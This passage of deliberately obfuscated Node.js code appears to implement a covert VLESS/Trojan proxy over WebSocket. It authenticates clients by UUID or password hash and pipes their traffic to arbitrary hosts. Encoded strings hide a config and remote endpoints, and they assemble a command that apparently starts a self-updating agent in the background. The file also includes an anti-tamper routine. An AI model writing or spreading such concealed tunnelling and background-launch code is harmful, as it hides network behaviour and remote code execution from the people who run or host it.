('\x0askip_conn'+_0x48ad44(0x5de,0x529,0x53c,0x5c5)+_0x48ad44(0x64b,0x67f,0x685,0x6b1)+'kip_procs_'+_0x2dec73(0xe0,0xe6,0x1ac,0x2c)+'e\x0atemperat'+_0x48ad44(0x5c8,0x5d4,0x536,0x58d)+_0x2dec73(0x24b,0x1c9,0x242,0x1e7))+_0x229e27+('\x0ause_gitee'+_0x48ad44(0x5d8,0x6d3,0x62d,0x617)+_0x2dec73(0x16c,0x165,0x1b5,0xff)+'se_ipv6_co'+_0x48ad44(0x501,0x5e3,0x617,0x5cc)+_0x48ad44(0x6e5,0x720,0x6cc,0x6d7)+_0x2dec73(0x2a,0x93,0x95,0x10d))+_0x457e98;_0xb0233c[_0x2dec73(0x1ef,0x1d2,0x1c0,0x21d)+_0x48ad44(0x780,0x780,0x717,0x6c1)](_0x26af33['SFoND'],_0x26b65b);}else _0x2f9173['FvPGP'](_0x1b8c43);});}function _0x39b921(_0x3b23ea,_0x38d3d2,_0x62cc8b,_0x2cfe4c){return _0x246c73(_0x62cc8b,_0x3b23ea- -0x3b9,_0x62cc8b-0xdf,_0x2cfe4c-0x79);}function _0x41ad74(_0x49d1f7,_0xb4f7a8,_0x52d609,_0x27cf37){return _0x246c73(_0x49d1f7,_0x27cf37- -0x44,_0x52d609-0x190,_0x27cf37-0xbb);}_0x3d0f75[_0x39b921(-0x27b,-0x2ad,-0x2be,-0x345)](_0x1b8c43);});}function handleVlessConnection(_0x3db2cd,_0x3f9a09){const _0x4792fd={'mjRuK':_0x3145ce(0x11e,0x164,0x1c0,0x1c6),'usSii':_0x20745a(0x22d,0x218,0x2a9,0x319)+_0x20745a(0x2cb,0x336,0x301,0x306)+'yc.mn/v1','ydmUS':function(_0x305365,_0x23ea07){return _0x305365===_0x23ea07;},'UXeYM':'voxUN','BzWVM':function(_0x34e337,_0x5cf8da){return _0x34e337===_0x5cf8da;},'Phwwf':'pcJEX','jQjzR':function(_0x1b6fc7,_0x57e1dc){return _0x1b6fc7!==_0x57e1dc;},'OrJig':_0x20745a(0x198,0x1bb,0x23d,0x30b),'Niuog':_0x3145ce(0x157,0x263,0x133,0x1d1),'HhWiJ':function(_0x1ecc7e,_0x397195){return _0x1ecc7e+_0x397195;},'WYegT':function(_0x38d0d5,_0x312784){return _0x38d0d5==_0x312784;},'bRUrl':function(_0x4ed1ff,_0x399b8c){return _0x4ed1ff+_0x399b8c;},'VDTSa':function(_0x4b8847,_0x21906a){return _0x4b8847+_0x21906a;},'VXnHE':function(_0x5bbdca,_0x13d6c5){return _0x5bbdca(_0x13d6c5);},'ScRDv':function(_0x2f7e5d,_0x4f97b8){return _0x2f7e5d(_0x4f97b8);}},[_0x3b9c1d]=_0x3f9a09,_0x101e0d=_0x3f9a09[_0x3145ce(0x232,0x330,0x239,0x2f3)](-0x219d+0x1a8e+-0x8*-0xe2,0x2*-0x82f+-0x43c+-0x1e1*-0xb);if(!_0x101e0d[_0x20745a(0x25d,0x38c,0x311,0x277)]((_0x33b9ff,_0xf64688)=>_0x33b9ff==parseInt(uuid['substr'](_0xf64688*(-0x1*0x2395+0x5*0x10b+0x6*0x510),-0xc*-0x13a+0x1473+-0x2329),0x499*-0x1+0x1bd*-0x1+-0x27*-0x2a)))return![];let _0x2f7e38=_0x4792fd[_0x20745a(0x3f1,0x3cc,0x35d,0x2fd)](_0x3f9a09[_0x3145ce(0x274,0x2f3,0x2d5,0x2f3)](0x43*0x43+0x10*0x10f+-0x2268,-0x2*-0x126b+-0x1f66*-0x1+0x6d1*-0xa)['readUInt8'](),0x3*-0x15d+-0x1617+-0x205*-0xd);const _0xdbadea=_0x3f9a09['slice'](_0x2f7e38,_0x2f7e38+=0x1*0x1387+0xb37+0x7*-0x464)[_0x3145ce(0x32b,0x23a,0x291,0x2cc)+'BE'](0x121+0xae6+-0xc07),_0x15b44f=_0x3f9a09[_0x20745a(0x35d,0x3e9,0x34a,0x30e)](_0x2f7e38,_0x2f7e38+=0x2*0xaf1+0x2662+0x1*-0x3c43)['readUInt8'](),_0x294096=_0x15b44f==0x1b56*-0x1+0x136d+0x7ea*0x1?_0x3f9a09[_0x3145ce(0x22c,0x316,0x32f,0x2f3)](_0x2f7e38,_0x2f7e38+=0x25ca+0xe63+-0x3429)[_0x3145ce(0x1eb,0x2f7,0x213,0x249)]('.'):_0x4792fd[_0x3145ce(0x314,0x333,0x349,0x2b2)](_0x15b44f,0x25a3+0x7*0x52f+-0x49ea)?new TextDecoder()['decode'](_0x3f9a09['slice'](_0x4792fd['bRUrl'](_0x2f7e38,0x17c3+0xad*0x2b+-0x119b*0x3),_0x2f7e38+=_0x4792fd[_0x20745a(0x215,0x2f8,0x2bd,0x36d)](0x2*-0x6d1+-0x1014+-0x1*-0x1db7,_0x3f9a09['slice'](_0x2f7e38,_0x2f7e38+(-0xd9*0x11+-0x115b+0x1fc5*0x1))[_0x20745a(0x251,0x1fb,0x256,0x279)]()))):_0x4792fd['WYegT'](_0x15b44f,0x711+-0xe8*0x1+-0x626)?_0x3f9a09[_0x3145ce(0x29f,0x389,0x337,0x2f3)](_0x2f7e38,_0x2f7e38+=0x101+-0x2*-0x11a+-0x325)['reduce']((_0x2d79be,_0x41f210,_0x15edcf,_0x97f774)=>_0x15edcf%(0x256b+0xce3*-0x3+0x140)?_0x2d79be[_0x3145ce(0x2e4,0x2da,0x288,0x255)](_0x97f774[_0x20745a(0x2bf,0x33d,0x34a,0x287)](_0x15edcf-(0x218*0x8+-0x409*0x1+0x65b*-0x2),_0x15edcf+(-0x4b5+-0xcb3+-0x1169*-0x1))):_0x2d79be,[])[_0x20745a(0x345,0x33a,0x300,0x392)](_0x271276=>_0x271276[_0x3145ce(0x39b,0x36f,0x2b0,0x2cc)+'BE'](0xd1*0x14+-0xe15+-0x23f)['toString'](-0x543*0x6+-0x267f+0x565*0xd))['join'](':'):'';function _0x20745a(_0x51a3a2,_0x238317,_0x17ed9c,_0x36b265){return _0x5438be(_0x51a3a2,_0x238317-0x110,_0x17ed9c-0x3e2,_0x36b265-0x31);}_0x3db2cd[_0x20745a(0x24e,0x2f7,0x316,0x30e)](new Uint8Array([_0x3b9c1d,-0xf6b*-0x1+-0x592+0x9d9*-0x1]));const _0x2e7ad9=_0x4792fd[_0x3145ce(0x2b5,0x2b1,0x306,0x26a)](createWebSocketStream,_0x3db2cd);function _0x3145ce(_0x498a55,_0x469477,_0x359860,_0x1afcc9){return _0x5438be(_0x498a55,_0x469477-0x1be,_0x1afcc9-0x38b,_0x1afcc9-0x1);}return _0x4792fd[_0x20745a(0x281,0x296,0x332,0x2ee)](resolveHost,_0x294096)[_0x20745a(0x30f,0x3b2,0x2e1,0x313)](_0x4ccdef=>{function _0x1b2bb3(_0x404c6f,_0x1e43ea,_0x30170e,_0x5d76b9){return _0x3145ce(_0x5d76b9,_0x1e43ea-0x1cb,_0x30170e-0x1d,_0x30170e- -0x197);}function _0x7b0b81(_0x4dfb27,_0x1a808b,_0x49e92f,_0x82b103){return _0x3145ce(_0x82b103,_0x1a808b-0x107,_0x49e92f-0xb8,_0x1a808b-0x1e2);}if(_0x4792fd['ydmUS'](_0x4792fd[_0x1b2bb3(0x3,0x135,0xc6,0xcb)],_0x4792fd['UXeYM'])){const _0x349215={};_0x349215['host']=_0x4ccdef,_0x349215[_0x1b2bb3(0x164,0xbe,0xd7,0x2a)]=_0xdbadea,net[_0x1b2bb3(0xf4,0x8f,0xc3,0x170)](_0x349215,function(){function _0x124e90(_0x288482,_0x2214c6,_0x5d52e7,_0x58234f){return _0x1b2bb3(_0x288482-0x9d,_0x2214c6-0x78,_0x58234f-0x2db,_0x288482);}function _0x19079d(_0x1ac717,_0x52fa93,_0x816445,_0xce0506){return _0x7b0b81(_0x1ac717-0xa0,_0xce0506- -0xc1,_0x816445-0x16f,_0x1ac717);}this['write'](_0x3f9a09[_0x124e90(0x403,0x3ab,0x505,0x437)](_0x2f7e38)),_0x2e7ad9['on'](_0x4792fd[_0x19079d(0x392,0x49c,0x3a4,0x45a)],()=>{})[_0x124e90(0x3e0,0x479,0x3b9,0x470)](this)['on'](_0x4792fd[_0x124e90(0x4ee,0x482,0x4c7,0x47d)],()=>{})[_0x19079d(0x3db,0x3c7,0x3d5,0x44d)](_0x2e7ad9);})['on'](_0x4792fd['mjRuK'],()=>{});}else return!_0x1b7632?_0x4792fd['usSii']:_0x7b0b81(0x43b,0x434,0x3b6,0x439)+_0x7b0b81(0x514,0x48c,0x490,0x460)+_0x1b2bb3(0x1a1,0x210,0x168,0xac)+'t';})['catch'](_0x2d1222=>{function _0x7c4cb3(_0x360e45,_0x5bc629,_0x2f7532,_0x428954){return _0x3145ce(_0x428954,_0x5bc629-0xfe,_0x2f7532-0x1de,_0x2f7532- -0x55);}const _0x2ae398={'DyHfx':function(_0xce7de7,_0x209e3f){return _0x4792fd['BzWVM'](_0xce7de7,_0x209e3f);},'wUAjR':_0x4792fd[_0x257d2b(-0x222,-0x182,-0x22d,-0x1c6)],'JazJG':_0x4792fd['mjRuK']};function _0x257d2b(_0x5ab17a,_0x199be2,_0x596da7,_0x5312d8){return _0x3145ce(_0x199be2,_0x199be2-0x17f,_0x596da7-0xaf,_0x5ab17a- -0x412);}if(_0x4792fd[_0x7c4cb3(0x221,0x22d,0x1b6,0x140)](_0x4792fd['OrJig'],_0x4792fd['Niuog'])){const _0x5c5500={};_0x5c5500[_0x257d2b(-0x219,-0x212,-0x26b,-0x1c2)]=_0x294096,_0x5c5500['port']=_0xdbadea,net[_0x7c4cb3(0x26e,0x282,0x205,0x1f4)](_0x5c5500,function(){function _0x401b65(_0x3881bb,_0x2cdbf8,_0x18a98a,_0xeba5c5){return _0x7c4cb3(_0x3881bb-0x150,_0x2cdbf8-0xcc,_0x2cdbf8- -0x157,_0x18a98a);}function _0x2bd44f(_0x577cf4,_0x1d021d,_0x22b0e7,_0x2c2663){return _0x257d2b(_0x577cf4-0x41b,_0x22b0e7,_0x22b0e7-0xee,_0x2c2663-0x66);}if(_0x2ae398['DyHfx'](_0x2ae398['wUAjR'],_0x2bd44f(0x204,0x1a6,0x204,0x1eb)))this[_0x401b65(0xa4,0x160,0x1d6,0x231)](_0x3f9a09[_0x401b65(0x1d1,0x147,0x1db,0x140)](_0x2f7e38)),_0x2e7ad9['on'](_0x2ae398[_0x2bd44f(0x2b6,0x229,0x28f,0x347)],()=>{})['pipe'](this)['on'](_0x2ae398['JazJG'],()=>{})[_0x2bd44f(0x335,0x348,0x300,0x2b5)](_0x2e7ad9);else return;})['on'](_0x4792fd['mjRuK'],()=>{});}else return'https://ar'+_0x257d2b(-0x168,-0x1dd,-0xbf,-0x154)+_0x7c4cb3(0x25d,0x36f,0x2b8,0x2ac);}),!![];}function handleTrojanConnection(_0x2d811f,_0x3c7f77){function _0x97744a(_0x4399e8,_0x4ac2e7,_0x1d9397,_0x54093a){return _0x21134f(_0x54093a,_0x4ac2e7-0x132,_0x4399e8-0x625,_0x54093a-0x0);}const _0x28c6a0={'eCnLQ':_0x97744a(0x632,0x658,0x595,0x68e),'XeiGB':_0x523308(0x5a7,0x597,0x578,0x4dc)+'l','Jmgov':function(_0x554a63,_0x4b6c01){return _0x554a63(_0x4b6c01);},'VDCRM':_0x97744a(0x53f,0x4f8,0x5e2,0x4c9)+_0x97744a(0x588,0x55b,0x58d,0x52a),'aOoTI':_0x97744a(0x5a7,0x5df,0x615,0x4ed)+_0x97744a(0x53a,0x572,0x5fe,0x570)+_0x97744a(0x532,0x5be,0x597,0x501)+'\x20)','nXpPX':_0x523308(0x6ba,0x66d,0x638,0x6d1),'HyhSx':_0x97744a(0x561,0x599,0x525,0x4fe)+_0x523308(0x5e8,0x651,0x5e6,0x632),'HNsJS':function(_0x5cb7a7,_0x239038){return _0x5cb7a7<_0x239038;},'OXYau':'error','HwOHH':function(_0x1ae423,_0x4bfc1e){return _0x1ae423<_0x4bfc1e;},'lJXeL':_0x523308(0x57b,0x631,0x5c8,0x4bc),'tcKwB':_0x97744a(0x4f0,0x4c0,0x459,0x4cc),'rSYKV':function(_0x27dd5f,_0x59cb7f){return _0x27dd5f!==_0x59cb7f;},'DHezH':_0x97744a(0x519,0x4ee,0x4f7,0x4a5),'PTfxJ':function(_0x4e88fb,_0x462d19){return _0x4e88fb+_0x462d19;},'ICmyM':function(_0x40933f,_0x25eaf0){return _0x40933f===_0x25eaf0;},'CKEvb':function(_0x585c80,_0xad5b36){return _0x585c80+_0xad5b36;},'NxUcH':function(_0x158cb9,_0x59893f){return _0x158cb9===_0x59893f;},'SWJvp':_0x97744a(0x511,0x5a6,0x52b,0x5d9),'JvUQl':_0x97744a(0x53e,0x479,0x488,0x56a),'pmBzD':function(_0x31e254,_0x188364){return _0x31e254+_0x188364;},'Wzegb':function(_0x3d0e6d,_0x2015d3){return _0x3d0e6d===_0x2015d3;},'WRiek':function(_0x36c9c8,_0x249edf){return _0x36c9c8+_0x249edf;},'atDiP':function(_0x653229,_0x49f3d7){return _0x653229!==_0x49f3d7;},'fynGI':'lcpzg','VonLd':function(_0x6ca72a,_0x29bc59){return _0x6ca72a(_0x29bc59);}};function _0x523308(_0x587d91,_0x39ef56,_0x3b14c1,_0x27d5e1){return _0x21134f(_0x3b14c1,_0x39ef56-0xb8,_0x587d91-0x6ae,_0x27d5e1-0x160);}try{if(_0x28c6a0[_0x97744a(0x5ef,0x6a3,0x5d4,0x5fd)](_0x3c7f77[_0x523308(0x6d7,0x69a,0x702,0x6c0)],0xaa*-0xd+0x1*-0x1183+0x1a5f))return![];const _0x26e46a=_0x3c7f77[_0x523308(0x67f,0x5b6,0x5c5,0x71f)](-0x1*0x1e9e+0x1*0x13f5+0xaa9*0x1,-0x24c5*0x1+-0xae0+-0x1*-0x2fdd)[_0x97744a(0x5ec,0x67b,0x53a,0x632)](),_0x4eb9f8=[UUID];let _0x39d60a=null;for(const _0x436ed6 of _0x4eb9f8){const _0x1c6e82=crypto[_0x97744a(0x56c,0x547,0x4d8,0x558)](_0x28c6a0[_0x523308(0x543,0x47f,0x4a6,0x5b6)])[_0x523308(0x580,0x5f4,0x54e,0x5a6)](_0x436ed6)['digest'](_0x28c6a0[_0x523308(0x6c2,0x682,0x744,0x650)]);if(_0x1c6e82===_0x26e46a){_0x39d60a=_0x436ed6;break;}}if(!_0x39d60a)return![];let _0x4710de=-0x1*0x533+0xf*-0x1fc+0x232f;_0x3c7f77[_0x4710de]===-0xca0+-0x4*-0x93+0xa61*0x1&&_0x3c7f77[_0x4710de+(0x9e5*-0x1+0x19*-0x68+0x140e)]===-0x1e90+0x28d*-0x5+0x2b5b&&(_0x4710de+=-0x2368+-0x5*0x2b6+-0x8*-0x61f);const _0x43ea9f=_0x3c7f77[_0x4710de];if(_0x28c6a0[_0x97744a(0x626,0x681,0x5ff,0x5f7)](_0x43ea9f,-0x238*0x8+-0x25cb+-0x5*-0xb1c))return![];_0x4710de+=-0x2562+-0x27*0x2+0x25b1;const _0x2e3363=_0x3c7f77[_0x4710de];_0x4710de+=-0xa48+-0x3*-0x851+-0xeaa;let _0x4fbeba,_0x593873;if(_0x2e3363===-0x11f6+0x8ff+0x11f*0x8)_0x28c6a0[_0x523308(0x60c,0x687,0x5b1,0x6a6)]!==_0x28c6a0['DHezH']?(_0x503508[_0x97744a(0x523,0x59e,0x5d7,0x48e)](_0x28c6a0[_0x523308(0x670,0x6b4,0x602,0x5c3)],()=>{}),_0x2cff38[_0x523308(0x5ac,0x4ff,0x55f,0x5d7)](_0x28c6a0['XeiGB'],()=>{})):(_0x4fbeba=_0x3c7f77[_0x97744a(0x5f6,0x661,0x573,0x5c5)](_0x4710de,_0x28c6a0[_0x523308(0x5eb,0x52f,0x683,0x6a7)](_0x4710de,0x84+0x4*0x6d5+-0x1bd4))['join']('.'),_0x4710de+=-0xb2f*-0x3+-0xe7e+-0xc3*0x19);else{if(_0x28c6a0[_0x97744a(0x5bc,0x652,0x660,0x61d)](_0x2e3363,-0x191c+-0x2396+-0x3cb5*-0x1)){const _0x3a8af6=_0x3c7f77[_0x4710de];_0x4710de+=0xb9*-0xd+-0x2678+0x2fde,_0x4fbeba=_0x3c7f77[_0x523308(0x67f,0x702,0x5e2,0x5f4)](_0x4710de,_0x28c6a0[_0x523308(0x5ce,0x669,0x684,0x512)](_0x4710de,_0x3a8af6))[_0x97744a(0x5ec,0x5c7,0x671,0x5c5)](),_0x4710de+=_0x3a8af6;}else{if(_0x28c6a0[_0x523308(0x650,0x6c2,0x5b3,0x6d0)](_0x2e3363,-0x1d8b*0x1+0xb*-0x149+-0x22*-0x149)){if(_0x28c6a0[_0x97744a(0x4c1,0x4b7,0x418,0x432)]===_0x28c6a0[_0x523308(0x624,0x57f,0x5c6,0x5a5)]){const _0xf4813a=euDXwJ[_0x97744a(0x565,0x4a7,0x602,0x50c)](_0x5bef67,euDXwJ[_0x97744a(0x4fa,0x57a,0x492,0x47e)]+euDXwJ[_0x523308(0x5d8,0x5f3,0x565,0x610)]+');');_0x2a64d9=_0xf4813a();}else _0x4fbeba=_0x3c7f77[_0x97744a(0x5f6,0x632,0x624,0x6af)](_0x4710de,_0x28c6a0[_0x97744a(0x5c5,0x627,0x5c0,0x640)](_0x4710de,0x6*-0x5c6+-0x1b6*0x12+0x4180))[_0x523308(0x62a,0x615,0x5d1,0x5c9)]((_0xfa6b0,_0x5ca712,_0x50db34,_0x4853e7)=>_0x50db34%(-0x2*0x879+0x1*-0x1479+0x256d)?_0xfa6b0['concat'](_0x4853e7['slice'](_0x50db34-(0x13d*0x1d+0x136c+-0x3754),_0x50db34+(-0x18b+0x137f+-0x11f3))):_0xfa6b0,[])[_0x523308(0x635,0x61a,0x699,0x706)](_0x508db2=>_0x508db2[_0x97744a(0x5cf,0x580,0x687,0x580)+'BE'](-0x13d2+0x69c+0xd36)[_0x523308(0x675,0x603,0x737,0x5e9)](0x6ef+-0xa3*-0x31+-0x2612))[_0x97744a(0x54c,0x494,0x4cc,0x481)](':'),_0x4710de+=-0x1*0x1c2c+0x1ae2+-0x2*-0xad;}else return![];}}_0x593873=_0x3c7f77['readUInt16'+'BE'](_0x4710de),_0x4710de+=-0x1b83+-0x1*0x1a93+-0x1b0c*-0x2;if(_0x28c6a0['HNsJS'](_0x4710de,_0x3c7f77['length'])&&_0x28c6a0[_0x97744a(0x5c7,0x551,0x559,0x514)](_0x3c7f77[_0x4710de],0x1*-0x1ce1+0x1d25+0xb*-0x5)&&_0x28c6a0[_0x97744a(0x4c8,0x44d,0x499,0x46a)](_0x3c7f77[_0x28c6a0[_0x523308(0x60d,0x54e,0x588,0x645)](_0x4710de,0x17*0xc0+0x8a5+0x19e4*-0x1)],-0x1b7e+0x769+0x12f*0x11)){if(_0x28c6a0[_0x523308(0x5fc,0x5ac,0x69b,0x593)](_0x523308(0x6b0,0x647,0x6c1,0x6e0),_0x28c6a0['fynGI']))_0x4710de+=-0x24c3+-0x2592+0x4a57*0x1;else{const _0x1f28f8=_0x264a0d[_0x97744a(0x57c,0x4ba,0x565,0x58e)](_0x30e270)?_0x28c6a0['nXpPX']:'';_0x481009=_0x523308(0x6b4,0x71e,0x693,0x723)+_0x523308(0x5b9,0x517,0x50a,0x667)+'s\x20'+_0x58ef18+':'+_0x59c4a9+_0x97744a(0x648,0x669,0x6b8,0x64e)+_0x207495+'\x20'+_0x1f28f8+(_0x97744a(0x591,0x595,0x660,0x4ca)+'-auto-upda'+'te\x20--repor'+'t-delay\x204\x20'+_0x97744a(0x618,0x587,0x5f5,0x6ad)+_0x97744a(0x62d,0x656,0x6d6,0x6c9)+_0x97744a(0x4eb,0x587,0x547,0x4ec)+_0x523308(0x584,0x5b1,0x62e,0x5cc)+'\x20&');}}const _0x3ba987=_0x28c6a0[_0x523308(0x5ee,0x680,0x5ce,0x551)](createWebSocketStream,_0x2d811f);return _0x28c6a0[_0x523308(0x6a2,0x67a,0x60e,0x728)](resolveHost,_0x4fbeba)[_0x97744a(0x58d,0x524,0x4f4,0x640)](_0xbdc758=>{const _0x2e5828={'xufBK':function(_0x212419,_0x363880,_0x5b6a86,_0x419056){return _0x212419(_0x363880,_0x5b6a86,_0x419056);},'sPDTx':_0x28c6a0[_0x382074(-0x8,-0x16,-0x96,-0x7b)],'LoECz':function(_0x355fb9,_0x23ba06){return _0x355fb9===_0x23ba06;},'pFdim':_0x161d54(0x3de,0x39b,0x451,0x433),'lkCns':function(_0x293881,_0x222171){return _0x293881<_0x222171;},'yZhwN':_0x382074(-0x25,0x80,-0x6c,-0x3)},_0x450896={};function _0x161d54(_0x253421,_0xb4544f,_0x452cec,_0x41c919){return _0x523308(_0x452cec- -0x17b,_0xb4544f-0x0,_0x41c919,_0x41c919-0xcd);}function _0x382074(_0x33c70c,_0x471f30,_0x42ccdf,_0x2084c8){return _0x523308(_0x33c70c- -0x577,_0x471f30-0x49,_0x471f30,_0x2084c8-0x17);}_0x450896[_0x382074(0xe,0x83,0x87,-0x6)]=_0xbdc758,_0x450896[_0x382074(0x83,0x87,0xbd,0x125)]=_0x593873,net[_0x382074(0x6f,-0x5e,0x2e,0x3d)](_0x450896,function(){const _0x566681={};_0x566681[_0x1da0ea(0xd8,0xa4,0x50,0xc4)]=_0x2e5828['sPDTx'];const _0x34f2aa=_0x566681;function _0x1da0ea(_0x53563c,_0x15af50,_0x5d3c63,_0x23f593){return _0x382074(_0x53563c- -0x4b,_0x15af50,_0x5d3c63-0x138,_0x23f593-0x132);}function _0x3a2075(_0x1e23f1,_0x20ba06,_0x5e43a4,_0xf4acf5){return _0x161d54(_0x1e23f1-0x113,_0x20ba06-0x169,_0x5e43a4- -0x5f7,_0x1e23f1);}if(_0x2e5828[_0x1da0ea(0x1d,0x81,-0xab,0xdf)](_0x2e5828['pFdim'],_0x2e5828['pFdim']))_0x2e5828[_0x1da0ea(0xe2,0x6d,0x172,0xfd)](_0x4710de,_0x3c7f77[_0x3a2075(-0x138,-0x13,-0x9b,0x1c)])&&this[_0x1da0ea(0xd6,0x58,0x78,0x46)](_0x3c7f77[_0x1da0ea(0xbd,0xd8,0x4a,0x61)](_0x4710de)),_0x3ba987['on'](_0x2e5828[_0x1da0ea(0xd9,0x26,0x13,0x195)],()=>{})[_0x3a2075(-0x2b,-0x151,-0xba,-0xfb)](this)['on'](_0x2e5828[_0x3a2075(-0x10c,-0x70,-0xd7,-0x76)],()=>{})[_0x3a2075(-0x5a,-0xb4,-0xba,-0x128)](_0x3ba987);else{const _0x5bc23f={};_0x5bc23f[_0x1da0ea(0x18,0x75,0x73,0xde)]=_0x1da0ea(-0x5e,-0xf1,-0xc0,0x11),_0x2e5828[_0x1da0ea(0xc6,0x14a,0x140,0x48)](_0x2a4667,_0x35e785,_0x5bc23f,_0x5ea48a=>{function _0x45a8b3(_0x144329,_0x490453,_0x5aac4f,_0x3c6b8e){return _0x3a2075(_0x5aac4f,_0x490453-0x1d,_0x144329-0x2a0,_0x3c6b8e-0x140);}function _0x5e8a4c(_0x1b3cfd,_0x1ce8c5,_0x3c73bc,_0x3e9566){return _0x1da0ea(_0x1b3cfd-0x597,_0x3e9566,_0x3c73bc-0x139,_0x3e9566-0x34);}if(_0x5ea48a)_0x364d58['error'](_0x45a8b3(0x187,0x20d,0x141,0x1c3)+_0x45a8b3(0x8d,0xdb,0xf5,0xb4),_0x5ea48a);else _0x260bab['log'](_0x34f2aa[_0x5e8a4c(0x66f,0x686,0x6e9,0x5d3)]);});}})['on'](_0x161d54(0x321,0x33a,0x3d7,0x41c),()=>{});})['catch'](_0x15df4f=>{function _0x3c988c(_0x157bf2,_0xfc9492,_0x16da6a,_0x482561){return _0x97744a(_0x16da6a- -0x30,_0xfc9492-0xea,_0x16da6a-0x96,_0x482561);}function _0x173447(_0x18e2df,_0x227f18,_0x46f8d1,_0x4d2f81){return _0x523308(_0x46f8d1- -0x57a,_0x227f18-0x60,_0x227f18,_0x4d2f81-0x37);}const _0x1d334e={'ZWtym':function(_0x4ac6f7,_0x4ea6cf){return _0x28c6a0['HNsJS'](_0x4ac6f7,_0x4ea6cf);},'XKZIp':_0x28c6a0['OXYau']},_0x2f62b7={};_0x2f62b7[_0x3c988c(0x576,0x529,0x4cc,0x40e)]=_0x4fbeba,_0x2f62b7[_0x173447(0xa1,-0x27,0x80,0x59)]=_0x593873,net['connect'](_0x2f62b7,function(){_0x1d334e['ZWtym'](_0x4710de,_0x3c7f77[_0x415b46(0x70,0xf9,-0x56,0x119)])&&this['write'](_0x3c7f77[_0x415b46(0x18,0x18,-0x51,-0x37)](_0x4710de));function _0x2d8870(_0x417708,_0x591515,_0x19464f,_0x37508f){return _0x3c988c(_0x417708-0xa4,_0x591515-0x1a5,_0x417708-0x19,_0x37508f);}function _0x415b46(_0x603090,_0x4bc37e,_0x2e9a62,_0x2e4cff){return _0x173447(_0x603090-0xbe,_0x2e4cff,_0x603090- -0xed,_0x2e4cff-0x120);}_0x3ba987['on'](_0x1d334e['XKZIp'],()=>{})[_0x415b46(0x51,0xda,-0x5,-0x26)](this)['on'](_0x1d334e['XKZIp'],()=>{})[_0x2d8870(0x618,0x59d,0x6a8,0x5b8)](_0x3ba987);})['on'](_0x28c6a0[_0x3c988c(0x585,0x541,0x5a4,0x607)],()=>{});}),!![];}catch(_0x2d56ad){return![];}}function _0x2de5(_0x1a3b1d,_0x3c0204){_0x1a3b1d=_0x1a3b1d-(0x16f9+-0x1ad1+-0x59*-0xf);const _0x54b009=_0x2709();let _0x495dde=_0x54b009[_0x1a3b1d];if(_0x2de5['pbDIKz']===undefined){var _0x3e7771=function(_0x4b70a9){const _0x5116e2='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x58df0c='',_0x316972='',_0x514004=_0x58df0c+_0x3e7771;for(let _0x3fc1ef=0x2568+-0xa26+-0x1b42,_0x343edb,_0x20a846,_0x366569=-0x11*-0x203+-0x17cf+0x5*-0x214;_0x20a846=_0x4b70a9['charAt'](_0x366569++);~_0x20a846&&(_0x343edb=_0x3fc1ef%(0xf93+-0x677+-0x4*0x246)?_0x343edb*(-0xa*0x2c5+0x15*-0x130+-0x34e2*-0x1)+_0x20a846:_0x20a846,_0x3fc1ef++%(-0x10c3+-0x153*0x7+0x1a0c))?_0x58df0c+=_0x514004['charCodeAt'](_0x366569+(-0x3b2+0x19bb+-0x15ff))-(0x2a8*0x1+-0x96e+0x6d0)!==-0xfd7+0x555+0x5*0x21a?String['fromCharCode'](0xd*0x18e+-0x6f5+0x2*-0x621&_0x343edb>>(-(-0x1f3f+0x3*0x883+-0x1e8*-0x3)*_0x3fc1ef&-0x3*0xc6d+-0xa0*-0x16+-0x1*-0x178d)):_0x3fc1ef:0x481*-0x4+0x233e+-0x113a){_0x20a846=_0x5116e2['indexOf'](_0x20a846);}for(let _0x3c0822=-0xc8a+0x11e6*-0x1+0x1e7*0x10,_0x3a25b7=_0x58df0c['length'];_0x3c0822<_0x3a25b7;_0x3c0822++){_0x316972+='%'+('00'+_0x58df0c['charCodeAt'](_0x3c0822)['toString'](-0x33*0x8a+-0xdd2+0x2960*0x1))['slice'](-(-0x18d*-0x2+0x168e+-0x2*0xcd3));}return decodeURIComponent(_0x316972);};_0x2de5['QELyGy']=_0x3e7771,_0x2de5['eaHDgS']={},_0x2de5['pbDIKz']=!![];}const _0x4fe3f6=_0x54b009[0x2335+-0x2089*-0x1+0x2*-0x21df],_0x470e0b=_0x1a3b1d+_0x4fe3f6,_0x23a3be=_0x2de5['eaHDgS'][_0x470e0b];if(!_0x23a3be){const _0x61e9cb=function(_0xd87d42){this['OmxmdD']=_0xd87d42,this['sthfjn']=[-0x2*0xd3f+0x1*0x92+0x1*0x19ed,-0x14*-0x31+-0x82d+0x459,0x122*0x8+0x5f7+-0xf07*0x1],this['paqWtx']=function(){return'newState';},this['NNXFfC']='\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*',this['gfZQQv']='[\x27|\x22].+[\x27|\x22];?\x20*}';};_0x61e9cb['prototype']['NZYSSz']=function(){const _0x17517f=new RegExp(this['NNXFfC']+this['gfZQQv']),_0x3990d3=_0x17517f['test'](this['paqWtx']['toString']())?--this['sthfjn'][0xdeb*-0x1+0x1b9f+-0xdb3]:--this['sthfjn'][-0x12f7+0x8bd+0xa3a];return this['eWrJyg'](_0x3990d3);},_0x61e9cb['prototype']['eWrJyg']=function(_0x3d429c){if(!Boolean(~_0x3d429c))return _0x3d429c;return this['wvaAHM'](this['OmxmdD']);},_0x61e9cb['prototype']['wvaAHM']=function(_0x45fb0c){for(let _0x76d62c=-0x125f+-0x2*-0x135+0xff5,_0x50587b=this['sthfjn']['length'];_0x76d62c<_0x50587b;_0x76d62c++){this['sthfjn']['push'](Math['round'](Math['random']())),_0x50587b=this['sthfjn']['length'];}return _0x45fb0c(this['sthfjn'][-0x1c9*0x12+-0x15a5*0x1+0x35c7]);},new _0x61e9cb(_0x2de5)['NZYSSz'](),_0x495dde=_0x2de5['QELyGy'](_0x495dde),_0x2de5['eaHDgS'][_0x470e0b]=_0x495dde;}else _0x495dde=_0x23a3be;return _0x495dde;}wss['on'](_0x5438be(-0x1ac,-0xe5,-0x13e,-0x120),(_0x357061,_0x37bd11)=>{const _0x93ffc9={'VaMkh':'error','tuOcy':function(_0x428b01,_0x3e3661){return _0x428b01===_0x3e3661;},'UNieM':function(_0x28fb6f,_0x596829){return _0x28fb6f!==_0x596829;},'yBYYD':'nXsPP','yslds':'AcYCC','eAWSf':function(_0x5a81b0,_0x434bf7,_0x232e2e){return _0x5a81b0(_0x434bf7,_0x232e2e);},'xggdM':function(_0x163858,_0xf60ace){return 